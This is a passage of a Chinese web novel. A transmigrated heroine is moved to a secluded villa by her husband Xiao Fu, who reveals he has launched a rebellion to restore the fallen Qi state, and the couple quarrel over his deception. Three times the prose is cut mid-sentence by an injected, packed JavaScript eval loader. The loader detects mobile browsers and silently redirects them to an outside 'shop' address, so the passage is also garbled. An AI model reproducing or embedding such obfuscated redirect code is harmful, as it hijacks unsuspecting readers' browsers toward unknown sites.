瑞庆帝灭了齐国后,日渐骄奢淫逸,大兴土木,议罪银的开设更让吏治极速败坏,苛捐杂税丛生,百姓生活愈加困苦。 而萧家多年循规守矩、谨小慎微,生意虽做得有声有色,但年年向宫里进贡财宝美女,不断投瑞庆帝之所好,这也令瑞庆帝没有赶尽杀绝。 虽然朝廷始终监视萧家,但天长日久,监视日渐放松,许多时候就睁一眼闭一眼,当然也少不了萧复贿|赂的功劳。而近年北戎犯边、各地民乱,也让朝廷无暇顾及这些他们遗老遗少了…… 萧复盯着怀中如此善解人意的郗萌,心中泛起层层波澜,感动、爱意,还掺杂了一丝隐隐的愧疚…… 他将她更深地拥入怀中,下颌轻轻抵着她的发顶,声音低沉而沙哑,“谢谢你如此懂我,理解我。” 静谧的黑暗中,郗萌沉默了片刻,一个无法回避的问题浮上心头。 “你还想复国吗?”他们之间,终究隔着国仇家恨。她不是郗宝,可以不在意,但她怕萧复在意,怕这成为横亘在他们之间的一根刺。 萧复身体几不可察地僵了一瞬,随即,他自嘲一笑,“宝儿,就我?” 他语气里带着惯有的慵懒和漫不经心,“没那金刚钻,不揽瓷器活。复国?那是话本子里英雄豪杰干的事。我啊,有空还是多陪你吃吃美食,享享清福吧。何必自寻烦恼,没事找事。” 言罢,他将脸凑近她的颈窝,嗅着她身上独有的淡淡馨香,心中默道,若不喜欢,还可以随心所欲;但若真心倾覆,却不得不小心翼翼…… 郗萌听出了他话语中的回避,却也感受到他拥抱中传出的珍视。她不再追问,而是再次剖白自己的心意,食指指着自己的心,“我,这个我”,她强调着,“以前心里没人,现在……有你。” 说完,她不好意思得顿了顿。 她回想穿越而来的种种,觉得不可思议,心说,“没想到啊,先婚后爱这种情节,竟然发生在我自己身上了,居然栽在个‘纸片人’手里……” 自此,两人真正过起了蜜里调油的日子。萧复伤势渐愈,更是夜夜笙歌,缠着郗萌探索生命的奥秘,解锁了诸多令人面红耳赤的姿势。 郗萌有时瘫软在床,迷迷糊糊地望着床顶,感觉自己是穿到了小“诶赤”文里了。 而就在她思绪飘走之际,萧复又倾下身,“惩罚”她的不专心…… 养伤期间,某天萧复躺在榻上等着郗萌给他做面条。屋内只有他一人,他闲来无事,拎起榻上乱咕扭的小咪,将它提到眼前,煞有介事地逗猫,“小东西,我不在家的时候,她都跟你说了些什么悄悄话?” 小咪四肢悬空,一脸生无可恋,浅棕色的猫眼里仿佛写满了无奈。 “喵呜……” 它似乎在说,“我恨自己不能说话也不会画画,不然一定把她相思病的模样给你画出来!可你们有话还是自己说吧,别指望我一个小喵咪啦!” 欢乐的时光总是短暂。 入了冬,天气愈发寒冷,萧渊的心痹之症也随之加重,时常胸闷气短,连下地走动都逾渐困难。 郗萌每日看望,略尽晚辈的责任,但见他面容日渐憔悴,身体每况愈下。她想起现代时,许多有心脑血管疾病的老人也熬不过寒冷的冬天,内心不禁蒙上了一层阴影。 萧复更是忧心忡忡,守在他父亲病榻前的时间越来越长。 这日,他从父亲房中出来,眉宇间是化不开的沉郁,对郗萌沉声道,“郎中说,我爹这病,怕是熬不过这个冬天了……” 郗萌闻言握紧他冰凉的手,想出言安慰,却觉得任何言语在此刻都显得苍白,只通过紧握的手默默给他力量。 待萧复情绪稍缓,她轻声问,“王爷,还有什么心愿吗?别让他有遗憾……” 萧复摇了摇头,眼中尽是苦涩,“没什么,他只盼着咱们平安顺遂……” 除夕夜,定城各处响起热闹的鞭炮声,家家户户挂起红灯笼,百姓们围炉守岁,祈盼新的一年越来越好。 这本该阖家团圆、辞旧迎新的时刻,山阳王府却陷入了一片死寂的悲恸之中,山阳王萧渊溘然长逝。 满府喜庆的红色瞬间被凄凉的缟素取代。灵堂设起,白幡飘荡,唢呐吹出哀戚的调子,与府外隐约传来的欢声笑语形成了尖锐的对比…… 白日里,前来吊唁的人络绎不绝,萧复一身重孝,跪在灵前谢礼,面容疲惫,神色哀然,脊背却挺得笔直…… 夜深人静,宾客散尽,只剩下长明灯在寒风中摇曳。 郗萌端着一碗热粥,走进灵堂,见萧复依旧直挺挺地跪在那里,背影孤寂而沉重。她走过去,将粥放在一旁,轻轻跪在他身边,握住他的手。 “吃点东西吧,不然身体撑不住。”她心疼不已。 萧复缓缓转过头,眼中布满了血丝,失去了往日的神采。他看着她,没有说话,只是反手握紧她的手,仿佛要从她这里汲取一丝力量和温暖。 郗萌温柔轻抚他的面庞,柔声安慰,“逝者已逝,生者节哀。你的父母现在天上团聚了,会变成星星守护你的。所以,你要好好的。” 萧复将头轻轻靠在她的肩上,合上双眸,任由悲伤将自己淹没。他本不想在她面前展示脆弱,可不知为何,在她面前自己总不经意间卸下心防。 在这冰冷的灵堂里,两人相互依偎着,无声的温情是彼此唯一的慰藉…… 萧复守孝期间,深居简出,彻底与宴饮玩乐告别。每日他在家抄佛经祈福,料理生意事宜,与郗萌“岁月静好”…… 然而,天下的局势愈发严峻。 北戎频频犯边,朝廷军队节节败退。国库因皇帝奢靡和军费开支早已空虚,朝廷只能不断增加苛捐杂税,来弥补亏空。到了下面,官吏横征暴敛,恶霸欺压乡里,处处天怒人怨。去岁秋天,气候异常,多地又遭遇罕见的蝗灾、水灾,无数百姓颗粒无收,倾家荡产成了流民。而朝廷赈灾不利,各地起义不断,一时间梁国境内烽烟四起…… 萧复深知,天下即将大乱,定城也绝非安全之地。而他也有他的谋算…… 萧复刚守孝过七七,他与郗萌语重心长道,“而今时局不稳,各地起义频发,定城虽然现在还没受战火波及,但恐怕也太平不了多久。我在梁蜀交界的栖霞山有一处别院,环境清幽,宛如世外桃源,咱们全家先去那里暂居一段时日,待天下安定再回来。” 郗萌也从这些时日的消息看出时局不妙,赞同萧复的安排,“何时动身?” 萧复不假思索道,“三日后,你先走。我已安排人收拾好了日常用度,到时你带些重要的细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989722|192108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软即可。” “那你呢?”郗萌感觉他早就安排好了一切,只等自己点头。 “我安排好府中事宜,再处理完生意上的事,随后就去与你汇合。”萧复温柔的抚过着她的头发,“放心,等我。” 尽管心中不舍,隐隐还有些不安,但看着萧复坚定的眼神,以及外界越来越动荡的传闻,郗萌最终还是同意了。 三日后清晨,郗萌及她院中的丫鬟仆役分批离开定城,护卫明显比以往要多,连萧复平日器重的近侍路云都跟着她。 郗萌不知栖霞山在哪儿,只能每天坐着马车赶路,除了吃饭、如厕,一刻都不停歇。有时,让她都有种在躲仇家的幻觉。 一路他们只遇到小股流民“劫道”,都被武艺高强的护卫们逼退。而郗萌看着那些衣衫褴褛的流民,竟心生怜悯,无奈心道,“兴,百姓苦,亡,百姓更苦……” 赶了一个多月的路,马车在一处极为隐蔽的山谷前停下。郗萌刚掀开车帘,便觉一股异香扑鼻,随即越来越困,竟然很快昏昏睡去…… 当她再次醒来时,已身处一座建造精巧、设施齐全,却与世隔绝的山中别院。她满腹疑问,找来晓福等人询问,发现她院中的所有丫鬟仆役亦是同样遭遇。无人知晓他们是怎样来到此处,来路仿佛被崇山峻岭彻底吞没。 而她找到路云,问他为什么来的时候大家都被迷晕、萧复什么过来,对方却故意一问三不知,只让她安心居住,一切等萧复来时再定夺。别院中已有的仆役对她很是恭谨,但也问不出什么有用的消息。很显然他们都有所隐瞒,她却无计可施…… 郗萌静下心来还发现,此时来到别院的人,几乎都是她院中的下人,还有林嫂及几个在山阳王府熟悉的仆役,王府大多数人都没有来此。 她本以为这回“搬家”是分批行动,如今看来只有她被“转移”了,一切的一切太过匪夷所思。 晓福见郗萌愁眉不展,屏退屋内其他人,恭敬道,“恕奴婢直言,来到这别院的过程太过蹊跷,恐怕世子瞒了许多事。这些时日,我看得出您是真心待他,他对您也很上心,两情相悦奴婢也不好多嘴。可如今看来,他或许利用您们之间的感情,在私底下做什么事……” 郗萌听出来晓福说的委婉,她的意思就是自己被骗了,可她内心仍愿意相信萧复,总觉得这一切他都有苦衷,只需等他来到,真相就可大白。 “我明白你的好意,但现在说这些还为时尚早。咱们既来之则安之,等待时间给个结果吧。”郗萌大气道,可心中有些打鼓。 晓福无奈的叹了口气,不再与郗萌辩解,尽职尽责得去准备晚膳去了…… 栖霞别院位于群山深处,在山中开辟了空地种田,还养了家禽牲畜,足够院中之人自给自足,确实如萧复所说,宛若远离尘世的世外桃源。 日子一天天过去,萧复承诺的“随后就来”迟迟没有兑现。 起初,郗萌还安慰自己,他事情多耽搁了。可随着时间流逝,她丝毫没有外界的消息,心中的不安似野草般疯长。 她越来越感觉不对劲。为何要将她们迷晕送来?为何此地如此隐蔽,仿佛生怕被人找到?为何他迟迟不来? 她本以为自己了解她,如今看来,可能是她的一厢情愿…… 她感觉晓福说的可能是正确的——她被骗了。可为什么要骗她呢?心中疑问太多,快压的她喘不过气来…… 她抱着小咪,思绪纷纷扰扰,虽然他没有兑现承诺,但此处确实远离外界的战火纷争,生活安全惬意。或许他是在为自己着想,但也真的有事让他无法尽快回来,而且还不能坦白地告诉她。 她仍然心存侥幸…… 郗萌走上阁楼,望着层峦叠嶂的群山,心底一片茫然与凄凉,“萧复,你到底在做什么?你还好吗?” 无人回答她心中的疑问,只有山风穿过庭院,吹落几片初生的桃蕊,带着料峭的春寒。 她感觉自己就像一只被精心供养在华丽笼中的金丝雀,安全,舒适,却连展翅高飞的能力都没有。穿越而来,她似乎一直在依靠别人,从前是公主的身份,现在是萧复的安排。她以为自己拥有了爱情和依靠,实际就是靠别人供养,自己太没本事了…… 21. 复国 栖霞别院的日子,最初充满了迷茫与不安,但时光终究还是缓缓流淌了起来…… 郗萌过了一小段胡思乱想、自怨自艾的日子。某天,她看着镜中依旧面色红润、衣着华美的自己,再对比那些颠沛流离、易子而食的流民,自己过得太幸福了。忽然觉得自己那点“被欺骗”的委屈,简直矫情得可笑。 她诚然自己没什么大本事,但至少没缺胳膊断腿,现代好歹还是个大学生,起码能做些力所能及的事情,不这么天天停吃坐喝,成天和林黛玉似的伤春悲秋。 她当下决定不做米虫,随即不顾晓福等人的阻拦,执意换上了粗布衣衫,跟着别院里的仆役一起下地干农活,要试试自食其力。 汗水滴落在泥土里,身体是疲惫的,但心里那份虚无的飘忽感仿佛找到了些许沉甸甸的依托。 “劳动最光荣!” 她心中慨叹。 如此过了近半年,山中岁月静好,几乎让人忘了外界的烽火连天…… 直到那一天,萧复回来了。 他风尘仆仆得出现在别院门口时,郗萌正因月|事腹痛,难得没有下地,在院中树荫下的躺椅上纳凉。乍见那个日夜思念的身影,她先是一愣,随即思念如决堤之水,冲垮了所有理智与矜持,她几乎是扑了过去,紧紧抱住了他。 然而,预想中温暖的回抱没有到来。萧复身体僵直,任由她抱着,双臂垂在身侧,没有丝毫反应。 郗萌疑惑地抬起头,对上的是一双冰冷眼眸,眼神让她感到无比陌生。萧复身材瘦了些,原本白皙的皮肤被晒得黑了些,也粗糙了些,额角甚至多了一道尚未完全愈合的划痕。他的样子有些狼狈,但整个人的气质却如同出鞘的利剑,褪去了所有慵懒不羁,有种久经淬炼后的冷硬与锋锐。 而她忘了,经过这些时日的田间劳作,她也有些黑了,身体也壮实了,气质与以前也不甚相同了…… “你怎么了?”见状,郗萌的心一点点沉了下去。 萧复轻轻推开了她,动作不算粗暴,却带着一丝疏离。 “进去说吧。”他的声音沙哑,不带丝毫温度。 屋内只剩他们二人,空气凝滞得让人窒息。 萧复没有迂回,开门见山,语气平淡得像在说一件与己无关的事,“我反了。” 郗萌瞳孔微缩,她也曾猜测萧复在干什么不能抽身的大事,有可能就是复国,但亲耳听到仍是心头一震。 “阿焕”,萧复继续道,声音里渗出一丝压抑不住的痛楚,“死了,死在你堂兄江川的手里。” 郗萌闻言,回想起原书情节,江川是郗宝的堂兄,江家将门之后,性格耿直、武艺超群,与太子郗宸交好。 她想解释什么,却又一时组织不出合适的语言。 萧复见她神色复杂,冷笑道,“阿焕与我一起长大,情同兄弟。本想一同平定天下,共享富贵,没想到却阴阳相隔。”说着,他眼神愈加深邃,似是回忆起一些事情,“这半年来,战事惨烈。不仅是阿焕,还有许多萧氏宗亲也永眠地下了……” 言罢,他的目光如冰锥刺向郗萌,一言不发地望着她。 “我理解你难过,也惋惜他们的离世。可……”郗萌登下理解了萧复此刻的“仇人见面分外眼红”,可她不想因为别人的事破坏他们之间的感情,无奈道,“可我真的不知情,那是他们的事,与我有什么关系呢?和咱们之间的感情又有什么关系?你,你为什么一回来就变成了这样?唉,我也不知说什么好,只希望你节哀。我也真的,从没想过做伤害你的事,别的我左右不了。” “‘与你有什么关系’?是想说不知者不为罪吗?”萧复心知自己是在迁怒郗萌,可愤怒让他忍不住恶语相向。听她如此说,他不禁苦笑,那笑声里却满是苍凉和讽刺,“你是梁国的翌阳公主,享受了梁国给你的无限荣耀!你父亲江将军,是当年灭我齐国、双手沾满齐国将士鲜血的统帅!杀沈焕、杀我萧氏族人的,是你的血亲堂兄!如此,你还觉得与你毫无关系吗?” 他逼近一步,目光如炬,几乎要将她焚烧,“这样的血海深仇,我如何能与你真的恩爱情长?” 郗萌如遭雷击,浑身冰凉。她一直下意识地忽略了这个事实,她此世的身份是梁国尊贵的翌阳公主,与萧复有着不共戴天的灭国之恨。她确实不是“她”,所有人也都觉得她变得通情达理、平易近人,比以前好上万倍。但她的身份,从来没有人忘记,尤其是萧复。 郗萌顿时心下一寒,叹道,“你究竟是什么意思?” “无甚。”萧复面无表情,字字却清晰如刀,“我懒得再装了,你也不必再装了。我都已经举旗造反了,你这个梁帝安插在我身边的细作,任务也该到头了吧?你这样还有什么意义?” “你……都知道?”郗萌吃惊地望向他。 她有些后悔没有及时告诉萧复真相。她本来觉得两个人能甜甜的谈恋爱就好,何必告诉他这那些糟心事。而且她这个细作聊胜于无,什么作用都没起过,多一事不如少一事。而且她与梁国保持联系,忽悠他们,还能保护萧家。 “知道?”萧复嘴角勾起一抹复杂的弧度,像是自嘲,又像是嘲讽,“自国破那日起,我没有一天敢忘记这国仇家恨!又怎么会不明不白的就娶郗氏的公主?我不过将计就计,用你来更好地麻痹朝廷。” 郗萌望着无比陌生的萧复,一时不知该说什么。 萧复却继续道,“我都知道,但表面上,还要装成一个没心没肺、只知道吃喝玩乐的纨绔子弟!有时候,连我自己都快分不清,哪个才是真正的我了。唉,面具戴久了,真不好拿下来了……” 如今,他要卸下面具,彻底做自己。 他审视着她,眼神阴晴莫测、爱恨交缠,言语却依然犀利,“江山易改,本性难移。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001068|192108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一场风寒,就能让一个嚣张跋扈、满心恶毒的人,变得通情达理、心地善良?你不觉得这太荒谬了吗?” 他的理智不断告诫他,眼前的一切美好都是假象,都是她高明的伪装。可心底那份感性,不由自主得想要保留对她的好感。爱与恨激烈交锋,令他痛苦不堪。而他此刻的冷酷,何尝不是另一种伪装? 郗萌哑口无言,她无法解释。设定让她说不出她不是郗宝,只是一个来自异世的灵魂…… 萧复将她的沉默当作了一种被拆穿的词穷,自顾自地说道,语气中带着压抑已久的野心,“山阳王,呵……取日薄西山之意。可他们忘了,太阳乃万物之主,即便一时西沉,也终将再次升起。曾有相士言我乃紫薇帝星命格,可为天下之主。再看这天下乱局,正是天赐良机,我何不顺天应命?我韬光养晦这么多年,等的就是此刻!” 而他也曾暗中让术士推算郗萌的命格,却奇怪地发现,她的未来一片混沌,难以窥测。 “你……是不是一直在骗我?”郗萌嘴唇颤抖地问出这句话,心像被一只无形的手紧紧攥住。她已知晓萧复在藏拙,却没想到他心思如此之深。 “事到如今,我不妨都告诉你。”萧复负手而立,不再看她,“之前,所谓出门处理生意上的问题,不过是掩人耳目。其实,是我寻到了萧家先祖埋藏的宝藏,去暗中联络齐国旧部,筹备起事诸事。我爹临终的遗愿,便是光复齐国。所以守孝期间,我已秘密举兵。林澄霁也早不做镖师了,成了我麾下一员猛将,为我攻城略地。”他的声音愈发冰冷,“阿焕和那些宗亲不会白死。不日,我不仅要收复故土,更要覆灭梁国。” 当时,他利用守孝作为掩护,运筹帷幄于千里之外,私底下加紧与外面的联系,复国的计划逐渐紧锣密鼓的实施。 当年齐国灭国之后,瑞庆帝确实没有大肆屠戮百姓,但齐国百姓在梁国统治下总是低人一等,税交的更多、徭役服的更重。连科举都备受歧视,虽然也偶有中举之人,但也都是名门望族子弟,普通普通读书人皆是科考无望。这些都令齐国百姓怨声载道,渐渐的积怨日深,而这也被萧复看在眼里、记在心里,成为他复国的隐蔽助力。 而此次闹灾的区域大多是齐国故土,朝廷根本不管百姓死活,多年积怨彻底爆发,萧复趁机纠集旧部顺势而起,举起复国的大旗,将不少流民收到麾下。 梁国在北戎和齐军的夹击中岌岌可危,虽然郗宸想努力扭转颓势,甚至打了几场胜仗,但大的局势难以撼动,天下分崩就在旦夕…… 而郗萌对天下大事没有那么多的了解,只是回想与萧复的过往种种,原来那些看似甜蜜的相伴,那些“生意”上的忙碌,甚至他父亲去世时的沉痛,背后都隐藏着如此深沉的算计与筹谋。 她以为的岁月静好,不过是他复国大业帷幕下,一段无关紧要的插曲。 他一直在骗她…… 22. 真相 谎言不是快刀,真相才是。 郗萌已被扎的体无完肤,但还在强装坚强。 萧复看她如此,语气带着更残忍的玩味,“快被灭国了,什么感觉?” 郗萌迎上他的目光,不再躲闪,扯了扯嘴角,露出一抹苦涩的笑,“没什么感觉。只是恨你骗我,骗我的感情。” 她本以为,剧情发展会是男主郗宸力挽狂澜,整顿吏治,中兴王朝,延续梁国国祚。没想到成了男配复国、一雪前耻的爽文剧本。 萧复闻言不可思议,盯着她的眼睛试探道,“现在我快成功了。你如此说,是想让我为了你,放弃复国吗?” “我没想过,也不自作多情了。”郗萌摇摇头,无比清醒道,“而你也不会放弃。一个人总比天下轻太多,傻瓜才放弃呢。” 她确实喜欢上了萧复,真心交付,最后却发现一切只是一场利用,她不过是萧复欺骗朝廷的一个幌子。她不甘心,眼眶不禁泛红,“萧复,我最后问你。你有没有……哪怕一点点,喜欢过我?” 萧复沉默地看着她,半晌,才反问道,“你觉得呢?” 郗萌心口一窒,到了这个时候,他还在打哑谜。为什么不一箭穿心,给自己一个痛快,让自己别揪着那点不切实际的幻想。 “你想让我放过郗氏宗亲?”萧复不想在感情上纠结下去,只能顾左右而言他。 “没有。”郗萌毫不犹豫地否认,她强迫自己冷静下来,试图用理智武装那颗千疮百孔的心,“所谓‘亡国之仇不共戴天’,你韬光养晦只为复国,我能理解你的做法,也不奢望你会为了我放弃你的宏图大愿。我更明白,区区一个小女子,抵不过万里江山。”她顿了顿,语气带着一丝嘲讽,“不过,你可开了个坏头。以后亡国遗少,怕是都别想活了。” 她本就不是郗氏皇族,对梁国没什么感情。此刻更多的,是怨萧复欺骗自己,将对郗家的仇恨错放在她的头上。昔日温情蜜意,而今冷言恶语,这截然相反的态度,让她一时难以承受,不愿相信自己的一腔真情,最终喂了白眼狼。 “只是……只是心里有些不甘,想问问清楚。”她喃喃道,像是说给他听,又像是说给自己听。 萧复哑然,内心惊讶于她此刻的通情达理,她似乎理解并接受了他造反复国的所作所为。但他没想到,她如此看重感情,看上去依然那么深情款款、情义绵长,仿佛在意的只有被他欺骗的感情,连举兵谋反都显得不值一提。 她这份异乎寻常的“豁达”,反而让他心中某处被轻轻触动,泛起一丝难以言喻的酸涩。或许那份情绪是感动,但他嘴上依旧犀利如刀,冷笑道,“那你会喜欢工具吗?” 说话间,他虚握的右拳不自觉地攥紧,指节因用力而微微泛白,甚至带着一丝几不可察的颤抖。他本想用最锋利的话刺她,自己的心却仿佛被重锤猛击,闷闷地疼。 郗萌听完,眼前瞬间蒙上一层水雾,所有强装的镇定土崩瓦解。她不甘心地追问,声音带着哭腔,“难道咱们之间的感情都是假的吗?一切的一切,都是你在做戏骗我吗?就没有一丝一毫的真心吗?!” 萧复做贼心虚般避开了她灼热的目光,眼神瞟向一旁,继续用冷笑掩饰,“你不是梁帝安排在我身边的细作吗?你不是总说‘想家’、‘回家’吗?你对我,又有几分真情实意?” “你!”郗萌气得一时语塞,胸口剧烈起伏,眼泪忍不住飚出。 “你假,我也假。咱们互不相欠了。”萧复强压下想要抬手为她拭去眼泪的冲动,逼迫自己吐出了更无情的话。 他想起以前,以为她说的“大病失忆”是耍的花招,而时时防备;以为她想家,是思念皇宫,心系梁国,不忘细作使命。可偏偏,自己又总被她的“表演”打动,无意间已尽是感动,心亦控制不住地向她靠近。 郗萌看着他这副油盐不进、句句如刀的模样,怒气与委屈霎时冲破了顶点,她猛地抬手,用尽全身力气,狠狠扇了萧复一个耳光! “啪”的一声脆响,在寂静的房间里显得格外清晰。 “不会说人话,就别说!”她怒吼道。 打完,她转身跑回内室,从枕下翻出那把日夜观物思人的折扇,那把萧复送给她的生日礼物。 迟疑一瞬,她又冲回萧复面前。 在萧复复杂的目光注视下,她一点一点,用力地将扇面撕开。这举动看上去干脆利落,爽快无比,而她的心,也仿佛随着那撕裂的扇面,被撕成了碎片,四分五裂,痛彻心扉。 很痛…… “萧复,咱们情断义绝!”她一字一顿,声音嘶哑却决绝,“你爱复国复国,爱干嘛干嘛!哪凉快哪儿呆着去,我不想再看见你这张影帝的脸了!累了,毁灭吧!” 说完,她把破损的折扇向空中奋力抛去,碎片纷纷扬扬落下,她头也不回地冲出了房间。 萧复站在原地,皱眉望着她消失的房门,脸上似乎无甚波澜,但心底早已波卷云涌,嗓子像是被什么东西死死卡住,发不出任何声音。 “咚。” 破损的折扇摔落在地。同时,仿佛还有什么更重的东西,也随之重重摔落,碎裂无声…… 那日后,别院的气氛变得有些压抑。 晓福愁眉苦脸地告诉郗萌,她偷偷从徐决那里打听来消息,齐军一路凯歌,各路义军、流民许多归附其旗下,摧枯拉朽般攻城略地。加之北戎借机发难,梁国局势已是岌岌可危。而她没敢说出那四个字——亡国之兆。她也明白徐决是故意告诉她的,要借她的口告诉郗萌。 郗萌听了,表面毫无波澜,甚至有点想笑,人气急了确实会笑。她不在意梁国覆灭,王朝更替循环反复罢了,她只是气萧复那般不讲道理,那般侮辱他们之间的感情。 “天要下雨,娘要嫁人。随它去吧……” 她无法左右国之大事,只希望能尽快天下太平,免得神仙打架百姓遭殃。可惜她空有爱民之心,连自己都救不了…… 回想过往,她是真心想摆烂,人家却是“猥琐发育别浪”,真真的“白切黑”。她义无反顾得付出了真感情,结果换来了遍体鳞伤,顿觉恋爱脑害人不浅呐。她自己被忽悠得早早不装了,可人家倒好,还挺能演,那演技精湛,这要是搁现代,不得秒杀一众小鲜肉,夺个什么影帝奖杯之类的。 她心说,小说电视里复国一般不都苦逼兮兮很难成功吗?什么慕某复、耶律某南的。怎么到他这儿,就快成功了?原来那些生意呀,纨绔人设啊,都不过是掩人耳目,他始终在为复国筹谋,自己却一直傻不愣登的。 她叹了口气,觉得想那么多也没用,自己又矫情了。其实,她也有点后怕,之前大逼斗对付“渣男”是挺爽。可万一对方恼羞成怒,真把自己关起来,或者丢出去自生自灭,以她的能力确实活着都成问题…… “凑活过吧,还要啥自行车啊。”郗萌宽慰自己,“努力活着,说不定哪天就回去了,拜拜了您嘞……” 郗萌思绪乱飞的同时,萧复与徐决在另一间屋子谈事。 徐决禀报完正事,再看看自主子阴沉无比的脸,明知故问道,“您为何当初执意要把公主送到这里来?” 萧复面若寒霜,淡淡道,“自然是避免她泄露消息,走漏风声。” 徐决心里冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010450|192108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哼,知道他在嘴硬,给自己找了个冠冕堂皇的表面说辞,实际还是想保护郗萌,让她远离战火、远离危险。 “世子,公主虽是派来的眼线,但一直没传回去过什么有用的信息,还处处为您说好话,显然在维护王府……”徐决作为旁观者,他觉得郗萌不像是时时演戏之人,也不想主子郁郁寡欢,便客观分析道。 “多嘴。”萧复不想亦或是不敢再听下去,怕自己又忍不住去想她的好。 “那您如今又为何来此?”徐决又问。前线战事正紧,主子却抽身来到这深山别院,其中缘由耐人寻味。 萧复摸了摸额角已经结痂的伤口,语气平淡,“受伤了,染了风寒,不得好好养病吗?” 他可不会承认,自己是因思念郗萌,才借机绕路来栖霞别院。 徐决嘴角抽搐了一下,不再说话,但一脸“我懂”的表情。 萧复自然也知道徐决看穿了他的伪装,但主仆二人极有默契地互不点破。若非他们从小一起长大,情谊深厚,关系也不会如此微妙而亲密…… 尽管二人已然说破,势同水火,但郗萌在别院里的吃穿用度规格未减,每日送来的,还都是她爱吃的菜品。 “失身又失心,不能再让嘴吃亏了。”郗萌化悲愤为食量,吃饭异常积极,“吃饭不积极,思想有问题!谁的青春不喂狗?就当被狗咬了一口!” 虽然,心里有点疼,眼睛偶尔还会发酸。 几日后,别院又迎来一位“客人”——言婉薇竟也被接来了。 时至晚膳时分,萧复因那日决裂,再也没陪郗萌吃过饭,因此膳厅就她们二人用饭,仿佛回到了王府那天。 言婉薇亦听闻了她与萧复之间的事,席间轻声关心,“你们怎么回事?” 郗萌咽下嘴里的米饭,故作轻松,“没什么。说实话,我该感谢他。给我一段衣食无忧的生活,一场如幻似梦的爱情。”她顿了顿,声音低了些,“但梦终有醒来的一天,欺骗总有拆穿的一刻。即便我不喜欢这个结果,但也必须接受。” “你还挺豁达,能看得开。”言婉薇看着她,目光复杂。 “不然怎么样?一哭二闹三上吊?”郗萌往嘴里塞了一大块肉,接着道,“这一路来,多少老百姓连饭都吃不上。萧复还能好吃好喝供着我,银子也不愁我的,我还矫情个屁啊。” “那感情呢?”言婉薇在问她,好像也在问自己。 郗萌夹菜的动作一顿,随即用力嚼着塞进嘴里的萝卜,仿佛在咀嚼那苦涩的过往。她故意用满不在乎的语气说,“谈感情,伤钱。我一个干啥啥不会,吃啥啥不剩的人,离开这儿,出去就得横死街头。现在这样,结局算不错的了。” 她现在主打一个自我认知清晰。只是那故作潇洒的话语背后,心却在无声地滴血。不在乎,不在意,怎么可能? 言婉薇闻言,眼中掠过一丝怜悯与感慨。 她回想起自己得知萧复反叛时的震惊,以及她被齐国细作从太子府“救出”,亦或者是“掳来”的过程。再见萧复时,他那副充满仇恨的陌生模样,让她感到害怕。 她曾对他说“以前你不是这样的”,换来的却不是以往的包容,而是恨铁不成钢的斥责。她本想郗宸登位后,能够以改良的方式扫除积弊、廓清寰宇,还天下清明盛世。可未料到萧复会举兵复国,看着饱受兵祸的困苦百姓,她心中无限怅然。 萧复怨恨她忘记了国仇家恨,竟与“敌人的儿子”生情,不支持他的复国大业,斥责她不配为萧氏后人。可他自己呢?又何尝不是对梁国公主暗生情愫,深陷这爱恨交织的泥潭之中,无法自拔…… 23. 日子 时至深秋,天空高远澄澈,院角那几棵果树挂满了红彤彤的果子,像一盏盏小灯笼。 郗萌不想沉溺于感情漩涡,每日依旧随仆役下地秋收,要赶在冬天前把粮食、蔬果放到地窖储好。 而言婉薇亦如郗萌初见她那般,整日秀眉微蹙,带着几分挥之不去的轻愁,天天不是对窗抚琴,便是伏案作画,活脱脱一个“林妹妹”。 郗萌瞧着她那副“闲静时如姣花照水,行动处似弱柳扶风”的模样,有点担心她闷出病来。这日她终于忍不住,热情地把这位“文艺女神”请到了自己开垦的那片菜地旁。 “来,瞧瞧!这都是我亲手种的!”郗萌指着那片充满生机的田畦,自豪地介绍,“这是萝卜,那是芥菜,那边还有晚茬的荠菜!自己动手,丰衣足食。看你每天苦大仇深,别哪天抑郁了。” 言婉薇看着郗萌被阳光晒得发红的脸颊,还有那双握着自己的手,因劳动而略显粗糙却又充满力量,再对比自己白皙纤弱的手腕,眼中掠过一丝复杂的情绪。 她轻轻颔首,语气带着真诚的赞叹,“你亲手稼穑,自食其力,确实比我这等无所事事的强上许多。” “嗐,什么强不强的,就是找点事做,心里踏实,没空想些乱七八糟的。”说着,郗萌弯腰拔起一根水灵灵的萝卜,又跑到灌井处打水清洗,随后掰下一段递给她,“尝尝?纯天然绿色有机蔬菜,有营养,挺干净的。” 言婉薇犹豫一瞬,还是伸手接过那带着水珠的新鲜萝卜,樱桃小口咬了一块,清脆甘甜还带着微辣的滋味在口中漫开。 她微微睁大了眼睛,轻轻“嗯”了一声,赞道,“挺美味的,你确实下了不少功夫。” 